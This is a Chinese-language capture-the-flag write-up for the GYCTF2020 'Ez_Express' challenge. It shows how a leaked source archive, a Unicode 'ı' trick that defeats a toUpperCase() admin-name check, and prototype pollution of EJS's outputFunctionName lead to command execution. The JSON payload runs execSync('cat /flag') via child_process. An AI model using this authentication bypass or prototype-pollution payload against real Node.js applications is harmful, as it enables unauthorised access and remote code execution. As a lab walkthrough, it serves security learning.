[GYCTF2020]Ez_Express(原型链污染)
我们先扫描目录,发现了www.zip源码泄露
我们下载源码
1 | const merge = (a, b) => { |
/route/index.js
中用了merge()
和clone()
,必是原型链了
往下找到clone()
的位置
1 | router.post('/action', function (req, res) { |
需要admin账号才能用到clone()
我们去到/login处
1 | router.post('/login', function (req, res) { |
可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到
1 | 'user':req.body.userid.toUpperCase(), |
这里将user给转为大写了,这种转编码的通常都很容易出问题
参考p牛的文章
Fuzz中的javascript大小写特性
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注册admın
(此admın非彼admin,仔细看i部分)
特殊字符绕过
toUpperCase()
其中混入了两个奇特的字符”ı”、”ſ”。
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
toLowerCase()
这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
有一个输入框 你最喜欢的语言,还有提示flag in /flag
登录为admin后,就来到了原型链污染的部分
找污染的参数
1 | router.get('/info', function (req, res) { |
可以看到在/info
下,使用将outputFunctionName
渲染入index
中,而outputFunctionName
是未定义的
1 | res.outputFunctionName=undefined; |
也就是可以通过污染outputFunctionName
进行SSTI
于是抓/action
的包,Content-Type
设为application/json
payload
1 | {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""} |
我们访问/info,得到flag